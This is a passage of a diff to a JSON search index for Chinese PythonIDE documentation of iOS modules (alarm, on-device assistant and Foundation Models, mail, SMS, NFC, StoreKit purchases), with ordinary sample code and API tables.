运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "alarm-module", + "title": "alarm", + "subtitle": "系统闹钟调度(AlarmKit,iOS 18+)。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/alarm-module/", + "text": "alarm 系统闹钟调度(AlarmKit,iOS 18+)。 iOS 原生模块 通信与智能 alarm alarm alarm alarm 系统闹钟调度(AlarmKit):创建、列出和取消闹钟。 边界 :需要 iOS 26+ 且设备支持 AlarmKit;先用 is_available() 判断。与 notification 本地通知不同——闹钟走系统闹钟体验。调度放在用户操作回调里,不要在 body() 中调用。 模块概览 项 说明 导入 `import alarm` 适合做什么 起床提醒、定时闹钟、重复闹钟 调用时机 `schedule()` / `cancel()` 放在按钮回调 推荐顺序 `is_available()` → `request_authorization()` → `schedule()` → `list_alarms()` 标识符 `schedule()` 返回 `alarm_id`,用于 `cancel()` 快速开始 下面脚本检查可用性、申请权限、创建并列出闹钟: import alarm\n\nif not alarm.is_available():\n print(\"当前系统不支持 AlarmKit(需 iOS 26+)\")\nelse:\n try:\n if alarm.request_authorization():\n alarm_id = alarm.schedule(\"起床\", 7, 30, repeats=True)\n print(\"已创建:\", alarm_id)\n print(alarm.list_alarms())\n alarm.cancel(alarm_id)\n else:\n print(\"未获得闹钟权限\")\n except alarm.AlarmError as exc:\n print(\"闹钟操作失败:\", exc, f\"code={exc.code}\") AppUI 示例 授权和调度放在按钮回调;列表展示当前闹钟。 import appui\nimport alarm\n\nstate = appui.State(\n available=alarm.is_available(),\n auth=\"未查询\",\n alarms=[],\n status=\"点击按钮管理闹钟\",\n)\n\n\ndef refresh_list():\n try:\n state.alarms = alarm.list_alarms() or []\n except alarm.AlarmError as exc:\n state.status = f\"读取失败: {exc}\"\n\n\ndef request_access():\n if not state.available:\n state.status = \"当前系统不支持 AlarmKit\"\n return\n try:\n ok = alarm.request_authorization()\n state.auth = \"已授权\" if ok else \"未授权\"\n state.status = state.auth\n if ok:\n refresh_list()\n except alarm.AlarmError as exc:\n state.status = f\"授权失败: {exc}\"\n\n\ndef add_demo_alarm():\n if not state.available:\n state.status = \"系统不支持\"\n return\n try:\n if not alarm.request_authorization():\n state.status = \"请先授权\"\n return\n alarm.schedule(\"演示闹钟\", 8, 0, repeats=False)\n refresh_list()\n state.status = \"已添加 08:00 闹钟\"\n except alarm.AlarmError as exc:\n state.status = f\"创建失败: {exc}\"\n\n\ndef cancel_first():\n if not state.alarms:\n state.status = \"没有可取消的闹钟\"\n return\n try:\n alarm_id = state.alarms[0].get(\"alarm_id\")\n if alarm_id:\n alarm.cancel(alarm_id)\n refresh_list()\n state.status = f\"已取消 {alarm_id[:8]}…\"\n except alarm.AlarmError as exc:\n state.status = f\"取消失败: {exc}\"\n\n\ndef body():\n rows = []\n for item in state.alarms:\n title = item.get(\"title\", \"闹钟\")\n hour = item.get(\"hour\", 0)\n minute = item.get(\"minute\", 0)\n repeats = \"每天\" if item.get(\"repeats\") else \"一次\"\n rows.append(\n appui.LabeledContent(\n title,\n value=f\"{hour:02d}:{minute:02d} · {repeats}\",\n )\n )\n\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"环境\", [\n appui.LabeledContent(\n \"AlarmKit\",\n value=\"可用\" if state.available else \"不可用(需 iOS 26+)\",\n ),\n appui.LabeledContent(\"授权\", value=state.auth),\n ]),\n appui.Section(\"闹钟列表\", rows or [\n appui.ContentUnavailableView(\n \"暂无闹钟\",\n system_image=\"alarm\",\n description=\"点击下方按钮添加\",\n )\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"申请权限\", action=request_access),\n appui.Button(\"添加 08:00 闹钟\", action=add_demo_alarm)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消第一个\", action=cancel_first, role=\"destructive\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"真机 + iOS 26+ 测试;与本地通知是不同能力。\"),\n ]).navigation_title(\"闹钟\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 是否支持 AlarmKit `request_authorization()` 申请闹钟权限 → `bool` `schedule(title, hour, minute, repeats)` 创建闹钟 → `alarm_id` `cancel(alarm_id)` 取消指定闹钟 `list_alarms()` 已调度闹钟列表 `AlarmError` 操作失败时抛出 可用性与授权 import alarm\n\nif alarm.is_available():\n ok = alarm.request_authorization() is_available() 在低于 iOS 26 或 Bridge 不可用时返回 False。 调度 schedule(title, hour, minute, repeats=False) alarm_id = alarm.schedule(\"会议提醒\", 9, 15)\nalarm_id = alarm.schedule(\"每日起床\", 7, 0, repeats=True) 参数 说明 `title` 闹钟标题 `hour` 0–23 `minute` 0–59 `repeats` 是否每天重复 返回字符串 alarm_id,传给 cancel() 使用。 list_alarms() — 返回 [{alarm_id, title, hour, minute, repeats, state}, ...]。 cancel(alarm_id) — 取消并移除记录。 异常 `code` 含义 `unavailable` 系统版本不支持 AlarmKit `invalid_input` 参数缺失(如没有 `title`) `timeout` 异步授权超时 常见错误 错误写法 后果 修正 不检查 `is_available()` 低版本直接崩溃 先判断再调度 当成 [notification](notification-module) 用 API 与体验不同 按闹钟场景选模块 在 `body()` 里 `schedule()` 刷新时重复创建 放进按钮回调 丢失 `alarm_id` 无法取消 保存 `schedule()` 返回值 相关文档 文档 用途 [notification](notification-module) 本地通知与角标 [permission](permission-module) 其他权限查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "assistant-module", + "title": "assistant", + "subtitle": "设备端助手与内置设备工具(iOS 26+)。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/assistant-module/", + "text": "assistant 设备端助手与内置设备工具(iOS 26+)。 iOS 原生模块 通信与智能 assistant ai assistant assistant-module tool calling assistant 端侧助手(Foundation Models + 内置设备工具,iOS 26+):自然语言任务、可选工具调用。 边界 :设备端推理,内置工具由系统提供(见 list_tools())。不含 PythonIDE 云端 Agent;复杂多步自动化请用应用内 Agent 功能。 模块概览 项 说明 导入 `import assistant` 适合做什么 「帮我查天气」「总结这段文字」等带工具的自然语言任务 调用时机 `run()` 放在按钮回调;可能较慢 推荐顺序 `is_available()` → `list_tools()` → `run(prompt, tools=...)` 返回 `{\"text\": str, \"tool_calls\": list}` 快速开始 import assistant\n\nif not assistant.is_available():\n print(\"Assistant 不可用\")\nelse:\n print(\"内置工具:\", assistant.list_tools())\n result = assistant.run(\"用一句话介绍今天的日期\")\n print(result[\"text\"])\n print(result.get(\"tool_calls\", [])) 指定工具子集: import assistant\n\nresult = assistant.run(\n \"查询当前位置附近的天气\",\n tools=[\"location\", \"weather\"],\n)\nprint(result) AppUI 示例 import appui\nimport assistant\n\nstate = appui.State(\n available=\"—\",\n tools=\"—\",\n prompt=\"今天适合出门跑步吗?\",\n reply=\"—\",\n)\n\n\ndef refresh_meta():\n state.available = \"是\" if assistant.is_available() else \"否\"\n names = assistant.list_tools() or []\n state.tools = str(len(names)) + \" 个内置工具\"\n\n\ndef run_task():\n refresh_meta()\n if state.available != \"是\":\n state.reply = \"Assistant 不可用(需 iOS 26+)\"\n return\n\n try:\n result = assistant.run(state.prompt)\n calls = result.get(\"tool_calls\", [])\n suffix = f\"(调用 {len(calls)} 个工具)\" if calls else \"\"\n state.reply = (result.get(\"text\") or \"—\") + suffix\n except assistant.AssistantError as exc:\n state.reply = str(exc)\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"任务\", [\n appui.TextEditor(text=state.prompt).frame(min_height=80),\n appui.Button(\"运行助手\", action=run_task)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"可用\", value=state.available),\n appui.LabeledContent(\"工具\", value=state.tools),\n appui.Text(state.reply).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"端侧助手\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 助手是否可用 → `bool` `list_tools()` 内置工具描述列表 `run(prompt, tools=None)` 执行任务 → `dict` `AssistantError` 操作失败异常 run run(prompt, tools=None) — 发送自然语言任务。 字段 说明 `text` 助手最终文本回复 `tool_calls` 工具调用记录列表 result = assistant.run(\"总结这段话\", tools=None)\nprint(result[\"text\"]) tools 为工具名字符串列表时,限制可用内置工具范围。 常见错误 错误写法 后果 修正 与 `foundation_models` 混用场景 能力重叠 纯文本用 `foundation_models`;要工具用 `assistant` 在 `body()` 里 `run` 每次刷新重复推理 放进按钮回调 低版本 iOS `is_available()` 为 False 降级为规则逻辑或提示用户 期望执行任意 Python 代码 超出能力 工具仅限系统内置集合 相关文档 文档 用途 [foundation_models](foundation-models-module) 纯文本生成/摘要 [weather](weather-module) 直接调用天气 API [location](location-module) 直接调用定位 API 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "foundation-models-module", + "title": "foundation_models", + "subtitle": "设备端大模型文本生成(Foundation Models,iOS 26+)。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/foundation-models-module/", + "text": "foundation_models 设备端大模型文本生成(Foundation Models,iOS 26+)。 iOS 原生模块 通信与智能 foundation_models ai foundation_models foundation-models Apple Intelligence foundation_models 端侧文本生成(Apple Foundation Models,iOS 26+):对话、摘要、错误解释。 边界 :需 iOS 26+ 且设备支持 Apple Intelligence 端侧模型。与云端 Agent 不同;带工具调度的助手请用 assistant。 模块概览 项 说明 导入 `import foundation_models` 适合做什么 本地摘要、代码解释、短问答 调用时机 `respond` / `summarize` 放在按钮回调 推荐顺序 `is_available()` → 选择 API → 传入文本 隐私 推理在设备端完成,不经过本模块发网络请求 快速开始 import foundation_models\n\nif not foundation_models.is_available():\n print(\"Foundation Models 不可用\")\nelse:\n answer = foundation_models.respond(\"用三句话介绍 Python\")\n print(answer)\n\n summary = foundation_models.summarize(\"很长的文章正文……\", max_sentences=3)\n print(summary) 解释 Python 报错: import foundation_models\n\nhint = foundation_models.explain_error(\n \"NameError: name 'x' is not defined\",\n code_snippet=\"print(x)\",\n)\nprint(hint) AppUI 示例 import appui\nimport foundation_models\n\nstate = appui.State(\n available=\"—\",\n prompt=\"用一句话介绍 PythonIDE\",\n output=\"—\",\n)\n\n\ndef refresh_available():\n state.available = \"是\" if foundation_models.is_available() else \"否\"\n\n\ndef ask_model():\n refresh_available()\n if state.available != \"是\":\n state.output = \"Foundation Models 不可用(需 iOS 26+)\"\n return\n\n try:\n state.output = foundation_models.respond(state.prompt)\n except foundation_models.FoundationModelsError as exc:\n state.output = str(exc)\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"提问\", [\n appui.TextEditor(text=state.prompt).frame(min_height=80),\n appui.Button(\"生成回答\", action=ask_model)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"可用\", value=state.available),\n appui.Text(state.output).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"端侧模型\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 端侧模型是否可用 → `bool` `respond(prompt, instructions=None)` 自由问答 → `str` `summarize(text, max_sentences=3)` 文本摘要 → `str` `explain_error(error, code_snippet='')` 解释报错 → `str` `FoundationModelsError` 操作失败异常 respond text = foundation_models.respond(\n \"总结这段日志的关键问题\",\n instructions=\"回答要简短,用中文\",\n) summarize / explain_error foundation_models.summarize(long_text, max_sentences=5)\nfoundation_models.explain_error(\"SyntaxError: invalid syntax\", code_snippet=\"if True\\nprint()\") 常见错误 错误写法 后果 修正 在低版本 iOS 调用 `is_available()` 为 False 检查系统版本与机型 在 `body()` 里自动生成 每次刷新重复推理 放进按钮回调 期望访问日历/照片等工具 本模块无工具 用 [assistant](assistant-module) 超长上下文一次传入 可能截断或失败 分段摘要 相关文档 文档 用途 [assistant](assistant-module) 带内置设备工具的助手 [translation](translation-module) 文本翻译 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "mail-module", + "title": "mail", + "subtitle": "系统邮件编写器发送邮件。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/mail-module/", + "text": "mail 系统邮件编写器发送邮件。 iOS 原生模块 通信与智能 Mail Email MessageUI mail email 发邮件 邮件 mail 系统邮件撰写:弹出 MessageUI 邮件编辑器,填写收件人、主题、正文与附件。 边界 :仅唤起系统邮件界面,用户确认后才发送;不能静默发信。需设备已配置邮件账户(can_send() 为 True)。 模块概览 项 说明 导入 `import mail` 适合做什么 分享报告、发送导出文件、反馈邮件 调用时机 `compose()` 放在按钮回调;会弹出全屏编辑器 推荐顺序 `can_send()` → `compose(to, subject, body, ...)` 返回值 `sent` / `saved` / `cancelled` / `failed` 快速开始 检查能否发信并撰写一封邮件: import mail\n\nif not mail.can_send():\n print(\"未配置邮件账户\")\nelse:\n result = mail.compose(\n to=[\"user@example.com\"],\n subject=\"Hello\",\n body=\"来自 PythonIDE 的测试邮件\",\n )\n print(result) 带附件: import mail\n\nattachment = {\n \"path\": \"/path/report.pdf\",\n \"mime_type\": \"application/pdf\",\n \"name\": \"report.pdf\",\n}\nresult = mail.compose(\n to=\"team@example.com\",\n subject=\"周报\",\n body=\"请查收附件\",\n attachments=[attachment],\n) AppUI 示例 撰写邮件放在按钮回调;界面展示最近一次结果。 import appui\nimport mail\n\nstate = appui.State(\n can_send=\"—\",\n to=\"user@example.com\",\n subject=\"PythonIDE 演示\",\n body=\"这是一封测试邮件。\",\n result=\"尚未发送\",\n)\n\n\ndef refresh_can_send():\n state.can_send = \"是\" if mail.can_send() else \"否\"\n\n\ndef send_mail():\n refresh_can_send()\n if state.can_send != \"是\":\n state.result = \"未配置邮件账户\"\n return\n\n result = mail.compose(\n to=[state.to],\n subject=state.subject,\n body=state.body,\n )\n state.result = result\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"邮件\", [\n appui.TextField(\"收件人\", text=state.to),\n appui.TextField(\"主题\", text=state.subject),\n appui.TextEditor(text=state.body).frame(min_height=100),\n appui.Button(\"撰写并发送\", action=send_mail)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"可发送\", value=state.can_send),\n appui.LabeledContent(\"结果\", value=state.result),\n ]),\n ]).navigation_title(\"邮件\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `can_send()` 是否已配置邮件账户 → `bool` `compose(to, subject='', body='', cc=None, bcc=None, attachments=None)` 弹出编辑器 → 结果字符串 `MailError` 原生能力入口失败异常 compose compose(...) — 呈现系统 MFMailComposeViewController。 参数 说明 `to` / `cc` / `bcc` 字符串或列表 `subject` / `body` 主题与正文 `attachments` `[{\"path\", \"mime_type\", \"name\"}, ...]` result = mail.compose(to=[\"a@b.com\"], subject=\"Hi\", body=\"...\")\n# sent | saved | cancelled | failed 常见错误 错误写法 后果 修正 未检查 `can_send()` 无法弹出编辑器 先判断并提示用户配置账户 在 `body()` 里调用 `compose` 每次刷新弹邮件窗 放进按钮回调 期望后台自动发信 系统不允许 用户必须在编辑器中确认发送 附件路径不存在 `failed` 确认文件在沙盒可访问路径 相关文档 文档 用途 [message](message-module) 短信 / iMessage [share](share-module) 通用分享面板 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "message-module", + "title": "message", + "subtitle": "系统信息编写器发送短信或 iMessage。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/message-module/", + "text": "message 系统信息编写器发送短信或 iMessage。 iOS 原生模块 通信与智能 SMS iMessage MessageUI message sms imessage 发短信 短信 message 系统短信 / iMessage 撰写:弹出 Messages 编辑器发送文本或附件。 边界 :仅唤起系统信息界面,用户确认后才发送;不能静默群发短信。模拟器上可能不可用。 模块概览 项 说明 导入 `import message` 适合做什么 快速发短信、分享链接、附带文件 调用时机 `compose()` 放在按钮回调 推荐顺序 `can_send()` → `compose(recipients, body, ...)` 返回值 `sent` / `cancelled` / `failed` 快速开始 import message\n\nif not message.can_send():\n print(\"此设备无法发送短信\")\nelse:\n result = message.compose(\n [\"+8613800138000\"],\n \"Hello from PythonIDE\",\n )\n print(result) AppUI 示例 import appui\nimport message\n\nstate = appui.State(\n can_send=\"—\",\n phone=\"+8613800138000\",\n body=\"来自 PythonIDE 的测试短信\",\n result=\"尚未发送\",\n)\n\n\ndef refresh_can_send():\n state.can_send = \"是\" if message.can_send() else \"否\"\n\n\ndef send_sms():\n refresh_can_send()\n if state.can_send != \"是\":\n state.result = \"无法发送短信\"\n return\n\n result = message.compose([state.phone], state.body)\n state.result = result\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"短信\", [\n appui.TextField(\"号码\", text=state.phone),\n appui.TextEditor(text=state.body).frame(min_height=80),\n appui.Button(\"撰写短信\", action=send_sms)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"可发送\", value=state.can_send),\n appui.LabeledContent(\"结果\", value=state.result),\n ]),\n ]).navigation_title(\"短信\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `can_send()` 设备能否发短信 → `bool` `compose(recipients, body='', attachments=None)` 弹出编辑器 → 结果字符串 `MessageError` 原生能力入口失败异常 compose compose(recipients, body='', attachments=None) 参数 说明 `recipients` 手机号或 Apple ID,字符串或列表 `body` 正文 `attachments` 文件路径列表 result = message.compose([\"+8613800138000\"], \"你好\")\n# sent | cancelled | failed 常见错误 错误写法 后果 修正 未检查 `can_send()` 编辑器打不开 先判断可用性 在 `body()` 里 `compose` 每次刷新弹窗 放进按钮回调 期望批量静默发送 系统不允许 需用户逐条确认 模拟器测试 常返回不可用 在真机验证 相关文档 文档 用途 [mail](mail-module) 电子邮件 [share](share-module) 通用分享 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "nfc-module", + "title": "nfc", + "subtitle": "NFC 标签读取和 NDEF 写入。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/nfc-module/", + "text": "nfc NFC 标签读取和 NDEF 写入。 iOS 原生模块 通信与智能 NFC NDEF Tag nfc ndef tag scan write nfc NFC 标签读写:扫描 NDEF 记录、写入文本或 URI。需要支持 NFC 的 iPhone 硬件。 边界 :仅读写 NDEF 格式标签;不含银行卡支付、门禁卡模拟。扫描/写入会弹出系统 NFC 会话,必须放在按钮回调里,不要在 body() 中自动触发。 模块概览 项 说明 导入 `import nfc` 适合做什么 读取标签内容、写入链接/文本、物联网配对 调用时机 `scan()` / `write()` 放在按钮回调 推荐顺序 `is_available()` → `scan()` 或 `write(records)` 记录格式 `type` 为 `text` 或 `uri`,配合 `payload` 字符串 快速开始 下面脚本检查 NFC 是否可用,并尝试扫描标签(需将手机靠近标签): import nfc\n\nif not nfc.is_available():\n print(\"此设备不支持 NFC 读取\")\nelse:\n tag = nfc.scan(message=\"请将 iPhone 靠近 NFC 标签\", timeout=30)\n if tag:\n for rec in tag.get(\"records\", []):\n print(rec.get(\"type\"), rec.get(\"payload\"))\n else:\n print(\"扫描失败或已取消\") 写入一条文本记录: import nfc\n\nrecords = [{\"type\": \"text\", \"payload\": \"Hello from PythonIDE\"}]\nok = nfc.write(records, message=\"靠近标签以写入\")\nprint(\"写入成功\" if ok else \"写入失败\") AppUI 示例 扫描与写入分步放在按钮回调;界面只展示最近一次结果。 import appui\nimport nfc\n\nstate = appui.State(\n available=\"—\",\n last_result=\"尚未操作\",\n detail=\"点击按钮开始\",\n)\n\n\ndef refresh_available():\n state.available = \"是\" if nfc.is_available() else \"否\"\n\n\ndef scan_tag():\n refresh_available()\n if state.available != \"是\":\n state.detail = \"设备不支持 NFC\"\n return\n\n tag = nfc.scan(message=\"请将 iPhone 靠近标签\", timeout=30)\n if not tag:\n state.batch_update(last_result=\"扫描失败\", detail=\"超时或用户取消\")\n return\n\n records = tag.get(\"records\", [])\n lines = [f\"{r.get('type')}: {r.get('payload')}\" for r in records]\n state.batch_update(\n last_result=f\"读到 {len(records)} 条记录\",\n detail=\"\\n\".join(lines) if lines else \"空标签\",\n )\n\n\ndef write_demo():\n refresh_available()\n if state.available != \"是\":\n state.detail = \"设备不支持 NFC\"\n return\n\n records = [{\"type\": \"uri\", \"payload\": \"https://pythonide.xin\"}]\n ok = nfc.write(records, message=\"靠近标签以写入链接\")\n state.batch_update(\n last_result=\"写入成功\" if ok else \"写入失败\",\n detail=\"https://pythonide.xin\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"NFC\", [\n appui.Button(\"扫描标签\", action=scan_tag)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"写入示例链接\", action=write_demo),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"可用\", value=state.available),\n appui.LabeledContent(\"结果\", value=state.last_result),\n appui.Text(state.detail).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"NFC\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 设备是否支持 NFC 读取 → `bool` `scan(message, timeout=30)` 弹出扫描会话 → `{\"records\": [...]}` 或 `None` `write(records, message)` 写入 NDEF 记录 → `bool` 可用性 is_available() — 检查硬件与系统是否支持 NFC 读取。 if nfc.is_available():\n ... 扫描 scan(message=\"Hold your iPhone near an NFC tag\", timeout=30.0) — 启动系统 NFC 扫描会话,阻塞直到完成、超时或取消。 返回 {\"records\": [{\"type\": \"text\" \"uri\", \"payload\": \"...\"}, ...]},失败返回 None。 tag = nfc.scan(message=\"请将 iPhone 靠近标签\", timeout=30) 写入 write(records, message=\"Hold your iPhone near an NFC tag to write\") — 将 NDEF 记录写入标签。 字段 说明 `type` `\"text\"` 或 `\"uri\"` `payload` 文本或 URL 字符串 nfc.write([\n {\"type\": \"text\", \"payload\": \"会议室 A\"},\n {\"type\": \"uri\", \"payload\": \"https://example.com\"},\n]) 常见错误 错误写法 后果 修正 未检查 `is_available()` 在不支持设备上崩溃 先判断可用性 在 `body()` 里调用 `scan()` 每次刷新都弹 NFC 会话 放进按钮回调 `records` 缺少 `type`/`payload` 写入失败 按 NDEF 格式构造列表 用 NFC 做支付/门禁模拟 超出模块能力 使用对应系统 App 或专用 SDK 相关文档 文档 用途 [bluetooth](bluetooth-module) 低功耗蓝牙通信 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "storekit-module", + "title": "storekit", + "subtitle": "应用内购买与订阅(StoreKit 2)。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/storekit-module/", + "text": "storekit 应用内购买与订阅(StoreKit 2)。 iOS 原生模块 通信与智能 storekit storekit storekit storekit 应用内购买与订阅(StoreKit 2):加载商品、发起购买、恢复购买、查询订阅状态。 边界 :需要 App Store Connect 配置商品 ID,并使用带 In App Purchase 能力的签名构建;沙盒账号在真机测试。purchase() 会弹出系统购买面板;用户取消返回 result: \"cancelled\", 不抛异常 。购买、恢复、管理订阅放在按钮回调,不要在 body() 中调用。 模块概览 项 说明 导入 `import storekit` 适合做什么 专业版解锁、订阅会员、恢复已购权益 调用时机 用户点击购买/恢复;先 `load_products` 展示价格 推荐顺序 `load_products` → 展示商品 → `purchase` → `subscription_status` 用户取消 `purchase` 返回 `{\"result\": \"cancelled\"}`,需单独处理 快速开始 下面脚本加载商品元数据并打印价格: import storekit\n\nPRODUCT_ID = \"com.yourapp.pro\" # 换成你在 App Store Connect 创建的商品 ID\n\ntry:\n products = storekit.load_products([PRODUCT_ID])\n for p in products:\n print(p[\"display_name\"], p[\"price\"], p[\"type\"])\nexcept storekit.StoreKitError as exc:\n print(\"商品加载失败:\", exc, f\"code={exc.code}\") 发起购买并处理结果: import storekit\n\nresult = storekit.purchase(PRODUCT_ID)\nif result.get(\"result\") == \"purchased\":\n print(\"购买成功:\", result.get(\"transaction_id\"))\nelif result.get(\"result\") == \"cancelled\":\n print(\"用户取消\")\nelif result.get(\"result\") == \"pending\":\n print(\"待处理(如家长批准)\")\nelse:\n print(\"购买未完成:\", result) AppUI 示例 加载、购买、恢复都放在按钮回调;取消时保持页面可操作。 import appui\nimport storekit\n\nPRODUCT_ID = \"com.yourapp.pro\" # 换成你的商品 ID\n\nstate = appui.State(\n product_name=\"—\",\n product_price=\"—\",\n product_type=\"—\",\n subs=\"—\",\n status=\"点击加载商品\",\n)\n\n\ndef load_product():\n try:\n products = storekit.load_products([PRODUCT_ID])\n if not products:\n state.batch_update(\n product_name=\"—\",\n product_price=\"—\",\n product_type=\"—\",\n status=\"未找到商品(检查商品 ID 与签名配置)\",\n )\n return\n p = products[0]\n state.batch_update(\n product_name=p.get(\"display_name\", \"—\"),\n product_price=p.get(\"price\", \"—\"),\n product_type=p.get(\"type\", \"—\"),\n status=\"商品已加载\",\n )\n except storekit.StoreKitError as exc:\n state.status = f\"加载失败: {exc}\"\n\n\ndef buy_product():\n try:\n result = storekit.purchase(PRODUCT_ID) or {}\n outcome = result.get(\"result\", \"unknown\")\n if outcome == \"purchased\":\n state.status = f\"购买成功 · tx={result.get('transaction_id', '—')}\"\n refresh_subs()\n elif outcome == \"cancelled\":\n state.status = \"用户取消购买\"\n elif outcome == \"pending\":\n state.status = \"购买待处理\"\n else:\n state.status = f\"购买未完成: {outcome}\"\n except storekit.StoreKitError as exc:\n state.status = f\"购买失败: {exc}\"\n\n\ndef restore_purchases():\n try:\n restored = storekit.restore() or []\n state.status = f\"已恢复 {len(restored)} 项\" if restored else \"无可恢复购买\"\n refresh_subs()\n except storekit.StoreKitError as exc:\n state.status = f\"恢复失败: {exc}\"\n\n\ndef refresh_subs():\n try:\n subs = storekit.subscription_status() or []\n if not subs:\n state.subs = \"无活跃订阅\"\n return\n lines = []\n for s in subs:\n pid = s.get(\"product_id\", \"?\")\n active = \"有效\" if s.get(\"is_active\") else \"失效\"\n lines.append(f\"{pid} · {active}\")\n state.subs = \" · \".join(lines)\n except storekit.StoreKitError as exc:\n state.subs = f\"查询失败: {exc}\"\n\n\ndef manage_subs():\n try:\n storekit.show_manage_subscriptions()\n state.status = \"已打开系统订阅管理\"\n except storekit.StoreKitError as exc:\n state.status = f\"无法打开: {exc}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"商品\", [\n appui.LabeledContent(\"名称\", value=state.product_name),\n appui.LabeledContent(\"价格\", value=state.product_price),\n appui.LabeledContent(\"类型\", value=state.product_type),\n ]),\n appui.Section(\"订阅状态\", [\n appui.Text(state.subs).font(\"caption\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"加载商品\", action=load_product),\n appui.Button(\"购买\", action=buy_product)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"恢复购买\", action=restore_purchases),\n appui.Button(\"刷新订阅\", action=refresh_subs),\n appui.Button(\"管理订阅\", action=manage_subs),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"需真机 + 沙盒账号 + 有效商品 ID。\"),\n ]).navigation_title(\"内购\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `load_products(identifiers)` 加载商品元数据列表 `purchase(product_id)` 发起购买 → `{result, transaction_id}` `restore()` 恢复购买 → 商品 ID 列表 `subscription_status()` 当前订阅权益列表 `show_manage_subscriptions()` 打开系统订阅管理页 `StoreKitError` Bridge/网络/校验失败时抛出 load_products load_products(identifiers) list[dict] products = storekit.load_products([\"com.app.monthly\", \"com.app.yearly\"]) 每个商品字典: 字段 说明 `id` 商品 ID `display_name` 显示名称 `description` 描述 `price` 本地化价格字符串(如 `¥12.00`) `type` `subscription` / `non_consumable` / `consumable` 列表为空表示 ID 无效或未在 App Store Connect 配置。 purchase purchase(product_id) dict result = storekit.purchase(\"com.yourapp.pro\") `result` 含义 `purchased` 购买成功;`transaction_id` 有值 `cancelled` 用户取消(**非异常**) `pending` 待处理(如 Ask to Buy) `failed` 其他失败 成功交易会在 Bridge 内 finish();无需 Python 侧再调完成接口。 restore restore() list[str] — 遍历当前有效权益,返回已恢复的商品 ID 列表。 subscription_status subscription_status() list[dict] for sub in storekit.subscription_status():\n print(sub[\"product_id\"], sub[\"is_active\"], sub.get(\"expiration_date\")) 字段 说明 `product_id` 订阅商品 ID `is_active` 是否仍有效 `expiration_date` 过期时间 Unix 时间戳,或 `null` show_manage_subscriptions show_manage_subscriptions() — 打开系统「管理订阅」界面(iOS 15+)。 异常 `code` 含义 `invalid_input` 缺少商品 ID `not_found` 商品不存在 `verification_failed` 交易校验失败 `timeout` 异步操作超时 常见错误 错误写法 后果 修正 在 `body()` 里 `purchase()` 刷新时重复弹购买 放进按钮回调 把用户取消当异常 误判为崩溃 检查 `result == \"cancelled\"` 商品 ID 写错 `load_products` 返回空 对照 App Store Connect 模拟器未登录沙盒 加载/购买失败 真机 + 沙盒测试账号 未配置 IAP 能力 Bridge 不可用 签名构建开启 In-App Purchase 相关文档 文档 用途 [keychain](keychain-module) 存储用户令牌(非交易凭证) [dialogs](dialogs-module) 购买前确认提示 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "translation-module", + "title": "translation", + "subtitle": "设备端文本翻译。", + "section": "iOS 原生模块 / 通信与智能", + "url": "pages/translation-module/", + "text": "translation 设备端文本翻译。 iOS 原生模块 通信与智能 Translation Translate Language translation translate 翻译 多语言 translation 